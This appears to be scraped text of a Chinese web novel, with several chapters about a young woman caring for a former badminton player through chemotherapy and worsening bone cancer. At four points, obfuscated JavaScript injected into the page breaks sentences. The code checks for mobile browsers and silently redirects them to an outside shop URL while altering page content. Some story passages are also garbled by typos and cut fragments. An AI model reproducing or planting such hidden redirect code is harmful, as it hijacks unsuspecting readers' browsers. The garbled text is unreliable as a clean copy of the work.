输到一半时,他开始剧烈呕吐,把早上吃的粥全吐了出来。 护士赶来处理,加了止吐药。 苏晚禾在旁边帮忙,动作尽量轻柔。 清理完毕,谢临洲虚弱地靠在床头,脸色白得像纸。 “对不起。”他声音微弱。 “说什么呢。”苏晚禾给他擦嘴,“这有什么好道歉的。” 下午,谢临洲昏昏沉沉地睡着。 苏晚禾坐在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930148|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着他因为疼痛而紧皱的眉头,心里像压了块石头。 她突然站起来,走出病房。 在医院的小卖部,她买了一个最便宜的风筝,塑料的,印着卡通图案,五块钱。 回到病房时,谢临洲醒了,正看着天花板发呆。 “我们出去透透气。”苏晚禾说。 “去哪儿?” “天台。” 天台风很大,视野开阔。 能看见远处的海,和更远处的灯塔。 空气里有阳光和风的味道,比病房里清爽得多。 苏晚禾展开风筝,系好线。 “你要放风筝?”谢临洲有些惊讶。 “嗯。”苏晚禾说,“我小时候听奶奶说,风筝飞得越高,病就好得越快。” “迷信。” “管他呢。”苏晚禾把线轴递给他,“试试?” 谢临洲接过线轴。 苏晚禾拿着风筝跑到天台另一边,风吹起她的头发。 “跑!”她喊。 谢临洲松开线,苏晚禾迎着风跑起来。 风筝摇摇晃晃地升起,越飞越高。 她跑回他身边,两人一起看着那个小小的彩色风筝在蓝天里飘荡。 “要许愿吗?”苏晚禾问。 “许什么?” “希望病快点好。” 谢临洲沉默地看着风筝。 风吹过,他的病号服被吹得贴在身上,显得更加单薄。 “希望吧。”他轻声说。 风筝在天上飞了十几分钟,线快放完了。 苏晚禾接过线轴,开始收线。 就在这时,一阵强风吹过,线突然断了。 风筝在空中翻滚了几下,然后被风带着,越飘越远,最后变成一个小点,消失在远处的天际。 “啊......”苏晚禾失望地看着空空的线轴。 谢临洲却笑了。 那是苏晚禾第一次看见他笑得这么轻松。 “飞走了。”他说。 “对不起,我......” “挺好的。”谢临洲打断她,“像自由了。” 他们又在天台上站了一会儿。 风很大,吹得人几乎站不稳,但谢临洲的脸色似乎好了一些。 “该回去了。”他说,“护士该找我了。” “嗯。” 回到病房,果然护士正在找他。 “去哪儿了?该吃药了。” “天台透透气。”谢临洲说。 护士看了他一眼,又看看苏晚禾,没说什么,把药递过来。 那天晚上,苏晚禾离开医院时,谢临洲对她说:“明天别来了。” “为什么?” “太辛苦了。”谢临洲说,“而且......不好看。” “什么不好看?” “我现在的样子。” 苏晚禾愣住。 她看着谢临洲苍白的脸,突然明白他在说什么。 “我不在乎。”她说。 “但我在乎。” 两人对视着。 最后苏晚禾妥协了:“那我隔一天来一次。” “好。” 离开医院,苏晚禾没有直接回疗养院。 她走到海边,坐在堤坝上,看着远处的灯塔。 风筝断线飞走的那一幕在她脑子里反复播放。 谢临洲说,像自由了。 她突然很想哭,但忍住了。 海浪拍打着堤岸,哗啦,哗啦。 一下,又一下。 像在说什么,又像什么都没说。 她坐了很久,直到夜色完全降临。 起身时,她对着大海轻声说:“快点好起来。” 风把这句话吹散了。 但她相信,有人听见了。 17. 秋·靠近 周四早上,苏晚禾照例去海鲜市场找老赵。 自从谢临洲开始新疗程,她每隔一天就去老赵那儿买最新鲜的鱼虾。 医生说要补充优质蛋白,张阿姨就变着花样地做:清蒸鲈鱼,虾仁蒸蛋,鱼片粥,虾滑汤。 老赵的摊位还是老样子,几个大水盆里养着活鱼活虾,冰块上摊着处理好的海鲜。 他正忙着给客人称重,看见苏晚禾,朝她招招手:“小姑娘,今天要什么?” “鲫鱼,两条小的。”苏晚禾说,“再要点虾仁。” “又是给你那朋友?”老赵一边捞鱼一边问。 “嗯。” “他怎么样了?” “还在住院。”苏晚禾说,“胃口不好,吃得少。” 老赵麻利地处理着鱼鳞,“化疗的人都这样,嘴里发苦,吃什么都恶心。”他说,“你得找对法子。” “什么法子?” 老赵把处理好的鱼装进袋子,擦了擦手:“你等等。” 他转身进了摊位后面的小仓库,出来时手里拿着个皱巴巴的笔记本。 “这是我老婆当年用的。”他翻开笔记本,里面密密麻麻记着各种食谱,“她以前也得过病,化疗的时候我天天给她做,摸索出点经验。” 苏晚禾凑过去看。 笔记上的字迹有些潦草,但能看清内容: “化疗第一天:小米粥,加一点红枣泥,甜的能压苦味。” “第二天:山药炖排骨,山药要炖得烂烂的。” “第三天:番茄鱼片汤,番茄的酸能开胃......” “还有这个,”老赵指着另一页,“姜汁撞奶,止吐效果好。银耳莲子羹,润肺。核桃黑芝麻糊,补脑......” 苏晚禾看得眼睛发亮:“赵叔,能借我抄一份吗?” “抄什么抄,你拿去。”老赵把笔记本塞给她,“反正我留着也没用了。” “这怎么行......” “拿着。”老赵语气坚决,“能帮到人就好。” 苏晚禾接过笔记本,沉甸甸的,“谢谢赵叔。” “客气啥。”老赵又给她装了条小黄鱼,“这个清蒸,放点葱姜,最鲜。虾仁我给你挑最新鲜的,做滑蛋虾仁,嫩。” 苏晚禾付了钱,拎着海鲜往回走。 老赵在后面喊:“有不懂的来问我!” “知道啦!” 回到疗养院,苏晚禾直奔厨房。 张阿姨正在准备午餐,看见她手里的笔记本,好奇地问:“这什么?” “食疗秘方。”苏晚禾把笔记本摊开,“赵叔给的,他老婆以前用过的。” 张阿姨戴上老花镜,仔细看了几页:“哟,挺全的。这姜汁撞奶的做法写得详细......” “我们今天试试?” “行。” 两人在厨房忙活起来。 按照笔记上的方法,先做姜汁撞奶:鲜姜榨汁,牛奶加糖煮到微沸,然后冲入姜汁,静置凝固。 等待凝固的时候,苏晚禾处理鲫鱼。 她学着张阿姨的样子,在鱼身上划几刀,塞进姜片葱段,淋上料酒,上锅清蒸。 “火候很重要。”张阿姨在旁边指导,“水开了再放鱼,大火八分钟,关火焖两分钟,这样最嫩。” 蒸鱼的工夫,苏晚禾又做了个虾仁滑蛋。 虾仁用蛋清和淀粉抓匀,先滑油,再和蛋液一起炒,最后撒上葱花。 中午十一点,饭菜准备好了。 鲫鱼蒸得恰到好处,肉质鲜嫩;虾仁滑蛋金黄诱人;姜汁撞奶也凝固得很好,像嫩豆腐一样。 苏晚禾把饭菜装进保温桶,又装了碗米饭,匆匆赶往医院。 谢临洲今天看起来比前天好一些,至少能坐起来了。 看见她带来的饭菜,他有些意外:“这么多?” “不多,每样都吃点。”苏晚禾把饭菜摆出来,“先尝尝姜汁撞奶,赵叔说这个止吐。” 谢临洲接过小碗。 姜汁撞奶颤巍巍的,表面光滑,散发着姜和奶的混合香气。 他舀了一勺送进嘴里,顿了顿,又舀了一勺。 “好吃?”苏晚禾问。 “嗯。”谢临洲说,“不甜,姜味也不冲,正好。” 吃完姜汁撞奶,他开始吃主菜。 鲫鱼吃了小半条,虾仁滑蛋吃了大半,米饭也吃了小半碗。 虽然量还是不多,但比前两天好多了。 “今天胃口不错。”护士来量体温时笑着说。 “菜做得好。”谢临洲说。 苏晚禾在旁边偷偷笑。 下午,谢临洲输液时,苏晚禾坐在床边给他念笔记本上的内容。 “你看,这里写着:‘化疗期间口腔溃疡的话,用淡盐水漱口,吃凉的流食。’” “这里:‘手脚麻木是化疗常见副作用,可以轻轻按摩,促进血液循环。’” “还有这个:‘如果白细胞低,要避免去人多的地方,防止感染。’” 谢临洲闭着眼睛听,偶尔“嗯”一声。 念到一半,苏晚禾突然停下:“赵叔说,这些方法都是他一点点摸索出来的。他老婆病了两年,他就做了两年的饭。” 谢临洲睁开眼。 “两年啊。”苏晚禾轻声说,“每天变着花样做,想着怎么让她多吃一口。” 病房里很安静,能听见隔壁床的呼吸声。 “你也会好起来的。”苏晚禾说,“然后我们一起去谢谢赵叔。” 谢临洲没说话,只是点了点头。 接下来的日子,苏晚禾每天研究那个笔记本,和张阿姨一起尝试各种食谱。 有时候成功,有时候失败——比如有一次她把银耳炖糊了,只好偷偷倒掉重做。 老赵也经常给建议。 周五苏晚禾去买菜时,他特意留了条石斑鱼:“这个好,清蒸,补身子。” “谢谢赵叔。” “你朋友今天怎么样?” “比前几天好点了,能多吃几口。” “那就好。”老赵笑了,“慢慢来,急不得。” 周六,苏晚禾尝试做核桃黑芝麻糊。 按照笔记上的方法:核桃和黑芝麻炒香,磨成粉,加糯米粉和水慢慢熬煮。熬的时候要不停搅拌,防止糊底。 她在厨房站了整整一小时,手腕都酸了,终于熬出一锅香浓的芝麻糊。 装进保温壶时,张阿姨尝了一口,竖起大拇指:“可以出师了。” 到医院时,谢临洲正在做检查。 苏晚禾在病房等了半小时,他才被护士推回来。 “今天怎么样?”她问。 “还行。”谢临洲说,但声音有点虚弱。 苏晚禾看出他在硬撑,没多问,只是把芝麻糊倒出来:“刚做的,趁热喝。” 谢临洲接过碗。 黑芝麻糊熬得很细腻,香气扑鼻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930149|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他慢慢喝着,额头上渗出细密的汗珠。 “好喝吗?” “好喝。” 喝完一碗,他似乎有了点精神:“今天周几了?” “周六。” “住院第几天了?” “第十几天了吧” 谢临洲点点头,看向窗外。 阳光很好,能看见远处的海。 “我想出去走走。”他说。 “能行吗?” “就在楼下花园,坐坐。” 苏晚禾去问护士。 护士看了看谢临洲的情况,同意了,但嘱咐不能超过半小时,要戴口罩,不能吹风。 他们慢慢走到楼下的小花园。 花园不大,有几棵桂花树,几张长椅。 正是桂花开的季节,空气里有淡淡的甜香。 两人在长椅上坐下。 谢临洲戴着口罩,只露出一双眼睛。 他的眼睛在阳光下显得很清澈,灰色里透着一点蓝。 “下周就能出院了。”他说。 “真的?” “嗯。这个疗程结束,休息一周,再评估。” “那太好了。”苏晚禾笑了,“出院后你想做什么?” 谢临洲想了想:“去灯塔看星星。” “好,我陪你。” “还想吃夜市的小吃。”谢临洲说,“完成那个愿望清单。” “一个一个来。” 他们在花园里坐了二十分钟。 有风吹过,桂花簌簌地落下来,像下了一场金色的雨。 “回去吧。”谢临洲说,“有点冷了。” 回到病房,谢临洲躺下休息。 苏晚禾收拾好东西,准备离开。 “明天别来了。”谢临洲说,“休息一天。” “我没事......” “听我的。”谢临洲看着她,“你也需要休息。” 苏晚禾犹豫了一下,点点头:“好。那后天见。” “后天见。” 离开医院时,苏晚禾绕道去了海鲜市场。 老赵正要收摊,看见她,有些意外:“这么晚还来?” “来谢谢您。”苏晚禾说,“笔记本很有用,他今天胃口好多了。” “那就好。”老赵笑了,“对了,你等等。” 他又转身进了仓库,出来时手里拿着个玻璃罐子,里面装着褐色的粉末。 “这是什么?” “我自己磨的八珍粉。”老赵说,“党参、白术、茯苓、甘草......都是补气健脾的。出院后每天冲一勺喝,慢慢调理。” “这太贵重了......” “拿着。”老赵把罐子塞给她,“就当是我给那孩子的。告诉他,好好吃饭,好好养着,以后日子还长着呢。” 苏晚禾抱着罐子,眼睛有点热:“谢谢赵叔。” “行了,快回去吧,天快黑了。” 苏晚禾回到疗养院时,天已经黑了。 她把罐子放在房间的桌子上,看着它,突然想起谢临洲说“以后日子还长着呢”。 是啊,日子还长。 她拿出日历,在下一周的某一天上画了个圈——谢临洲出院的日子。 然后在旁边写:去灯塔,看星星。 窗外的海面上,灯塔的光规律地旋转着。 一下,又一下。 像在数着日子,一天,又一天。 20. 秋·靠近 十二月初的复查日,谢临洲的情况不太好。 苏晚禾陪他去医院,能感觉到他的脚步比上次更虚浮。 候诊时,他几乎全程闭着眼睛,只有叫到他名字时才勉强睁开。 诊室里,主治医生看着最新的CT影像,眉头越皱越紧。 “这里,还有这里。”医生指着屏幕上几个白色的亮点,“新出现的转移灶。肺部的这个,比上次大了三分之一。” 谢临洲安静地听着,脸上没什么表情,像是在听别人的病情。 “化疗效果不理想。”医生翻看着病历,“我们需要调整方案。可以考虑靶向药,但要做基因检测,看有没有合适的靶点。” “好。”谢临洲只说了一个字。 “另外,”医生顿了顿,“疼痛管理要加强。你现在用的止痛药效果怎么样?” “还行。” “如果疼得厉害,及时说,我们可以调整剂量。”医生在病历上快速写着,“生活质量也很重要。” 从诊室出来,苏晚禾跟在谢临洲身后,看着他瘦削的背影。 走廊的灯光很亮,照得他几乎透明。 “谢临洲。”她叫住他。 他停下脚步,回头看她。 “你......”苏晚禾张了张嘴,却不知道该说什么。 问“你疼吗”?问“你害怕吗”?这些问题都太苍白。 “我没事。”谢临洲反而安慰她,“习惯了。” 又是这句话。 苏晚禾鼻子一酸,别过头去。 拿完药,他们走出医院。 天空是铅灰色的,像是要下雨。 冷风一吹,谢临洲剧烈地咳嗽起来,苏晚禾赶紧扶住他。 “回家吧。”她说。 “我想去个地方。” “哪儿?” “图书馆。” 云港镇图书馆很小,一栋两层的旧楼,藏在一条安静的巷子里。 谢临洲熟门熟路地走进去,直接上了二楼的医学阅览区。 苏晚禾跟在他身后,看着他走到一排书架前,抽出几本厚厚的医学书。 骨肿瘤学、肿瘤内科学、姑息治疗指南......都是专业得让人望而生畏的书。 “你看这些干什么?”苏晚禾忍不住问。 “了解一下。”谢临洲抱着书找了个角落的座位坐下,“自己的病,总要知道怎么回事。” 苏晚禾在他对面坐下,看着他翻开一本《骨肉瘤诊疗进展》。 书页上密密麻麻的专业术语,他看得很认真,偶尔用笔在纸上记着什么。 阳光从窗户斜射进来,照在他身上。 他的睫毛在脸颊上投出细密的阴影,嘴唇紧抿着,神情专注得像在解什么难题。 苏晚禾突然想起自己刚受伤时,也曾经疯狂地查资料:肩袖损伤、康复训练、手术成功率......那时候她以为,只要了解得够多,就能找到解决问题的办法。 但有些问题,不是了解就能解决的。 “谢临洲。”她轻声说。 “嗯?”他没抬头。 “别查了。” 谢临洲翻页的手停住了。 “别查了。”苏晚禾又说了一遍,声音有些抖,“我们......去看看海吧。” 谢临洲沉默了很久。 然后他合上书,把几本书摞好,放回书架。 “好。”他说。 他们走到海边。 冬天的海风很冷,吹得人脸颊生疼。 沙滩上几乎没人,只有几只海鸥在岸边徘徊。 两人在防波堤上坐下。 谢临洲从口袋里掏出病历本,就是苏晚禾第一次在医院捡到的那本,深蓝色的封皮已经有些磨损了。 他翻开病历本。 里面除了医生的记录,还有他自己写的东西:用药时间、副作用记录、疼痛评分、体重变化......工整的字迹,像实验室记录。 苏晚禾凑过去看。 最新的一页上,谢临洲用红笔写了几行字: “12月3日,复查。新转移灶,肺部。 疼痛评分:6/10(持续)。 体重:47.3kg(比上月-1.2kg)。 食欲:差。 睡眠:差。 心情:......不知道。” 最后一行的“不知道”三个字,写得特别轻,像是不确定该写什么。 “为什么记这些?”苏晚禾问。 “为了......不忘记。”谢临洲说,“有时候疼得厉害了,脑子会糊涂,记不住事。写下来,就能知道自己经历过什么。” 苏晚禾看着那些冰冷的数字和文字,心里像被什么东西重重地撞了一下。 “疼的时候......很辛苦吧。”她轻声说。 谢临洲没回答。 他看着远处的海面,海浪一层层涌上来,又退下去。 “苏晚禾。”他突然叫她的名字。 “嗯?” “你知道骨肉瘤五年生存率是多少吗?” 苏晚禾喉咙发紧:“不知道。” “三期的话......不到百分之三十。”谢临洲说得很平静,“而且我这一年,情况一直在变差。” “别说了......” “我得说。”谢临洲转过头看着她,“因为我想让你知道。” 他的眼神很清澈,没有恐惧,没有悲伤,只有一种近乎残忍的平静。 “我刚确诊的时候,查了很多资料。知道这个病有多凶险,知道治疗有多痛苦,也知道......希望有多渺茫。”他慢慢地说,“但我还是想试试。因为那时候觉得,万一呢?” 海风吹起他的头发,露出苍白的额头。 “但现在我知道了。”他说,“没有万一。” 苏晚禾的眼泪掉了下来。 她用力擦掉,但新的眼泪又涌出来。 “对不起。”谢临洲说,“我不该跟你说这些。” “不。”苏晚禾摇头,“你该说。你该告诉我的。” 她深吸一口气,看着他的眼睛:“你疼的时候告诉我,难受的时候告诉我,害怕的时候也告诉我。不要自己一个人扛着。” 谢临洲看着她,灰色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930152|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛里有什么东西在闪动。 “好。”他轻声说。 他们在海边坐到太阳西斜。 谢临洲的体力支撑不住了,苏晚禾扶他起来,慢慢往回走。 路上经过一个文具店,苏晚禾突然说:“你等我一下。” 她跑进去,几分钟后出来,手里拿着个小本子和一支笔。 “给你。”她把本子递给谢临洲。 谢临洲翻开。 本子很普通,浅蓝色的封皮,里面是空白的格子纸。 “这是?” “新的病历本。”苏晚禾说,“但这次不记那些了。我们记点别的。” “记什么?” “记......每天发生的好事。”苏晚禾说,“比如今天天气很好,比如海鸥的叫声很好听,比如......比如我陪你看海。” 谢临洲看着手里的本子,很久没说话。 “试试看?”苏晚禾说。 “好。” 回到家,谢临洲在书桌前坐下,翻开新本子的第一页。 苏晚禾站在他身后看着。 他拿起笔,想了想,写下: “12月3日。天气:阴。 和苏晚禾去了图书馆,看了海。 她哭了,但说以后可以陪着我。 海鸥的叫声确实很好听。 疼痛评分:6/10。 但心情:......好像没那么差了。” 写完,他放下笔,转头看苏晚禾:“这样行吗?” 苏晚禾用力点头:“行。” 她把那个深蓝色的旧病历本拿过来,合上,放进书桌最下面的抽屉里。 “这个收起来吧。”她说,“我们用新的。” “好。” 那天晚上,苏晚禾很晚才离开。 走之前,她给谢临洲煮了粥,看着他吃完,又看着他吃了药。 “明天我再来。”她说。 “嗯。” 走到门口,苏晚禾回头看了一眼。 谢临洲坐在书桌前,台灯的光晕把他笼在里面。 他正在新本子上写什么,写得很认真。 她轻轻关上门。 回疗养院的路上,她一直在想谢临洲说的那些话。 百分之三十的生存率,新转移灶,持续恶化的病情...... 心里像压了块石头,沉甸甸的。 但她想起谢临洲写在新本子上的话:“心情:好像没那么差了。” 也许,这就是她能做的。 不是治愈,不是拯救。 只是陪着。 陪着他疼,陪着他难受,陪着他......走完剩下的路。 路灯把她的影子拉得很长。 冬天的夜晚很安静,能听见很远处的潮声。 一下,又一下。 像心跳,微弱但坚持。 她抬起头,看着夜空。 今晚没有星星,云层很厚。 但她知道,星星一直在那里。 就像希望一样。 也许很小,也许很远。 但一直在。 22. 冬·深埋 十二月三十一日,旧年的最后一天。 云港镇的街道比平时热闹些。 商店门口挂起了彩灯,海鲜市场提早收摊,家家户户飘出饭菜的香气。 疗养院里,老人们聚在大厅看电视,等着看跨年晚会。 苏晚禾却不在那里。 下午五点,她站在谢临洲家门口,手里拎着两个保温盒。 敲门后等了一会,门开了。 谢临洲穿着厚毛衣,脸色比前几天好了些,但眼下的青黑还是很明显。 看见她,他微微一愣:“今天不是疗养院有活动吗?” “逃出来了。”苏晚禾挤进门,“给你送年饭。” 她把保温盒放在桌上,一个个打开。 张阿姨帮助准备的:红烧鱼、白切鸡、蒸排骨、炒青菜,还有一盒饺子。 “这么多?”谢临洲看着满桌的菜。 “过年吗。”苏晚禾摆好碗筷,“虽然只有我们两个人,也要好好吃。” 两人在桌边坐下,电视剧开着,正在播各地的跨年活动。 主持人热情洋溢的声音和房间里安静的气氛形成对比。 “你爸妈呢?”苏晚禾问,“不打个电话?” “打过了。”谢临洲是,“他们在外地工作,回不来。” “哦。”苏晚禾夹了块鱼给她,“那正好,我陪你过年。” 谢临洲看着她,眼神柔和:“谢谢。” 他们安静地吃饭。谢临洲胃口不好,每样只吃了几口,但苏晚禾没勉强他。她自己倒是吃得不少。 吃完饭,苏晚禾收拾碗筷。谢临洲想帮忙,被她按回椅子上:“病人就好好休息。” 洗好碗,她看了眼时间:七点半。 “去灯塔吗?”她问。 “今天?” “嗯。在灯塔跨年,多有意义。” 谢临洲想了想,点点头:“好。” “走吧。” 冬天的夜晚来得早。七点四十五,天色已经完全黑了。 街道上没什么人,大多数大都聚在家里看电视,路灯把他们的影子拉得很长。 走到灯塔市,谢临洲已经有点喘。苏晚禾扶着他爬上螺旋楼梯,到顶层时,两人都出了一身汗。 塔顶比下面冷。苏晚禾关上破损的窗户,又用带来的旧毯子堵住缝隙。 谢临洲在桌边坐下,慢慢平复呼吸。 “下次我们还是别上来了。”苏晚禾看着他常白的脸,“太累了。” “不累。”谢临洲是,“我想来。” 他从背包里拿出那太便携小音箱,苏晚禾都快忘了这个百宝箱的存在了。 连接手,播放音乐。不是激昂的跨年歌曲,而是一首舒缓的钢琴曲,旋律温柔,像冬天的阳光。 “好听。”苏晚禾说。 “嗯。” 他们在塔顶坐下,裹着毯子,靠着墙壁。 窗外,远处镇上的灯光星星点点,近处是漆黑的海面。灯塔的光规律地选择着,在玻璃窗上投出移动的光影。 “还有多久?”苏晚禾问。 谢临洲看了眼手机:“三个小时。” “那我们干什么?” “聊天。”谢临洲说,“或者......不说话也行。” 他们选择了不说话。 就这么安静地坐着,听着音乐,看着窗外。时间像被拉长了,每一秒都过得很慢。苏晚禾侧头看些临洲,他闭着眼睛,睫毛在脸颊上投出细密的阴影。 “些临洲。”她轻声叫。 “嗯?” “你在想什么?” 谢临洲睁开眼睛,看向窗外:“想去年的今天。” “去年你在哪儿?” “在医院。”谢临洲是,“化疗第二天,吐得厉害,根本不知道是跨年夜。护士给我端了碗饺子,说是医院食堂特意做的。我吃了一口就吐了。” 他说得很平静,像是在讲别人的事。 “那前年呢?”苏晚禾问。 “前年......还在省队。”些临洲是,“队里聚餐,教练说可以喝一点啤酒。我和队友偷偷喝了两瓶,被发现了,罚跑操场二十圈。” 他嘴角微微上扬,像是在笑。 “跑完了吗?” “跑完了。边跑边吐,把啤酒都吐出来了。”谢临洲说,“后来教练说,算了。大过年的,不罚了。我们又回去接着吃。” 苏晚禾想象那个画面:一群年轻的运动员,在操场上奔跑,呼出的白气在冬夜里凝结。跑完了,互相搀扶着回去,继续笑,举行闹。 “那时候真好啊。”谢临洲轻声说。 苏晚禾没说话。她握住他的手。他的手很凉,她用力握着,想把自己的温度传过去。 “你呢?”谢临洲问,“去年在哪?” “去年在训练基地。”苏晚禾说,“集训,准备全国赛。晚上加练,游到十点才上岸。食堂给我们留了饺子,但都凉了。我们几个队友围在微波炉边热饺子,等的时候还在讨论技术动作。” “累吗?” “累。但很开心。”苏晚禾说,“那时候觉得,游泳就是一切。拿金牌,破纪录,进国家队......这就是全部的目标。” “现在呢?” 苏晚禾想了想:“现在觉得......能游泳就好。能站在水里,能划动手臂,能感觉到水流的助力......就好。” 谢临洲看着她,眼神很温柔。 “你会再游的。”他说。 “你也会再打球的。”苏晚禾说。 两人对视着,都知道这句话可能不会成真。但这一刻,他们愿意相信。 时间慢慢流逝。九点,十点,十一点...... 谢临洲的体力支撑不住了。他开始打瞌睡,头一点一点的。苏晚禾轻轻扶住他,让他靠在自己肩上。 “睡会吧。”她说。 “不睡。”谢临洲强撑着,“要跨年。” “还早呢。” “不睡。” 但他还是睡着了。呼吸变得均匀,身体放松下来。苏晚禾小心地调整姿势,让他靠在更舒服些。 她拿出手机,看了眼时间:十一点四十分。 还有二十分钟。 窗外,远处镇上的灯光开始变化。有些人家打开了彩灯,红黄蓝绿,在夜色中闪烁。更远处,海面上的渔船的灯火,像漂浮的星星。 十一点五十分,些临洲醒了。他睁开眼睛,有些茫然:“几点了?” “快到了。”苏晚禾说。 谢临洲坐直身体,揉了揉眼睛。他看起来还是很疲惫,但眼神清明。 “看外面。”他说。 苏晚禾看像窗外。灯塔的光正好扫过海面,照出一片银色的波光。远处的天际线上,有微弱的橘红色光芒,那是城市的方向,那里有盛大的烟火表演。 “这里看不到烟火。”谢临洲是。 “没关系。”苏晚禾说,“我们有灯塔的光。” 十一点五十五分。苏晚禾从背包里拿出两个橘子,这是张阿姨塞给她的,说新年要出橘子,吉利。 她剥开一个,分给谢临洲一半。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930154|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “甜吗?” “甜。” 十一点五十八分。谢临洲突然咳嗽起来。苏晚禾赶紧给他拍背,等他平复下来,发现他的脸色又白了几分。 “还好吗?” “还好。”谢临洲是,“就是有点冷。” 苏晚禾吧毯子全裹在他身上。 十一点五十九分。 窗外,灯塔的光正好转到他们的方向。光束透过玻璃窗,在塔顶的地板上投出一个明亮的光斑。 苏晚禾看着手机上的时间。 五十九分三十秒。 四十秒。 五十秒。 五十五秒。 谢临洲突然说:“苏晚禾。” “嗯?” “新年快乐。” 他说这话的时候,时间正好跳到零点。 窗外没有烟火,没有欢呼,没有钟声。 只有灯塔的光,规律的旋转着。 一下,有一下。 苏晚禾看着谢临洲。在灯塔的光影里,他的眼睛很亮,像盛满了星星。 “新年快乐。”她说。 然后她做了个自己都没想到的动作,她伸出手,在冰冷的玻璃窗上,写下了七个字: “新年快乐,谢临洲。” 雾气在玻璃上凝结,字迹有些模糊,但很清楚。 谢临洲看着那几个字,很久没说话。 然后他也伸出手,在她写的字旁边,写下了: “新年快乐,苏晚禾。” 两人的字迹挨在一起,在玻璃上慢慢融化,汇成细小的水珠,流下来。 像眼泪,但又不是。 “许个愿吧。”苏晚禾说。 “好。”谢临洲闭上眼睛。 苏晚禾也闭上眼睛。她在心里默默许愿:希望谢临洲能少疼一点,希望他能多笑一点,希望...... 她睁开眼,看着谢临洲也睁开了眼。 “许好了?”她问。 “嗯。” “许了什么?” “说出来就不灵了。” 苏晚禾笑了:“那就不说。” 他们又在塔顶坐了一会。凌晨的风更冷了,苏晚禾能感觉到谢临洲在发抖。 “回去吧。”她说。 “好。” 下楼梯时,谢临洲的脚步很慢。苏晚禾扶着他,一步一步。走到塔底时,她回头看了一眼。 塔顶的玻璃窗上,那些字已经快化完了,只剩下模糊的水痕。 但她会记得。 永远记得。 送谢临洲回到家,已经凌晨一点了。苏晚禾看着他吃完药,躺下,给他掖好被角。 “我走了。”她说。 “路上小心。” “嗯。” 走到门口,她回头看了一眼。谢临洲躺在黑暗里,只有窗外的路灯光透进来,勾勒出他模糊的轮廓。 “谢临洲。”她轻声说。 “嗯?” “明年今天,我们还一起跨年。” 黑暗中,她听见谢临洲很轻很轻地说:“好。” 她关上门,走进新年的第一缕寒风里。 街道空荡,路灯昏黄。 远处的海面上,灯塔的光还在旋转着。 一下,又一下。 像在数着新年的第一分钟,第二分钟,第三分钟...... 而她走在回家的路上,心里满当当的。 有遗憾,有难过,有不确定。 但也有希望。 新的一年的希望。 23. 第 23 章 第二十三章:羽毛球场馆的最后比赛 一月中旬,旧羽毛馆要拆了。 消息是海鲜摊老赵告诉苏晚禾的。那天她去买鱼,老赵一边给她称重一边叹气:“可惜了,那球馆虽然旧,但也算咱们镇的一个念想。” “真要拆?”苏晚禾愣住了。 “真拆。开发商买了那快递,要键什么海景公寓。”老赵摇摇头,“说是月底就动工。” 苏晚禾拎着鱼匆匆赶回疗养院,放下东西就去了谢临洲家。门敲了很久才开,谢临洲穿着睡衣,脸色不太好,显然又没睡好。 “球馆要拆了。”她开门见山地说。 谢临洲愣了一下:“什么时候?” “这个月底。” 沉默在两人之间蔓延。窗外的天色阴沉,像要下雪。 “我想再去打一次球。”谢临洲突然说。 “现在?” “嗯。” 苏晚禾看了看他苍白的脸:“你身体......” “就一次。”谢临洲是,“最后一次。” 他转身进屋换衣服。苏晚禾站在门口等着,心里五味杂陈。她知道这个球馆对谢临洲意外着什么,那是他生病后唯一能去的地方,是他觉得自己是个运动员的地方。 十分钟后,谢临洲出来了。他穿上了那身省队的运动服,深蓝色的上衣,黑色的短裤,胸口的队徽已经有些褪色。肩上背着那个磨旧的球拍包。 “走吧。”他说。 下午两点的球馆,光线从破旧的窗户斜射进来,在地上投出斑驳的光影。馆内比平时更空荡,角落堆着些建筑肥料。 谢临洲站在场地中央,环顾四周。他看得很仔细,像要把每一个细节都记在心里:裂开的木地板,锈蚀的球网柱,墙上模糊不清的标语...... “我们打一场?”他问苏晚禾。 苏晚禾看着他,点点头:“好。” 没有热身,他们直接站到各自的位置。 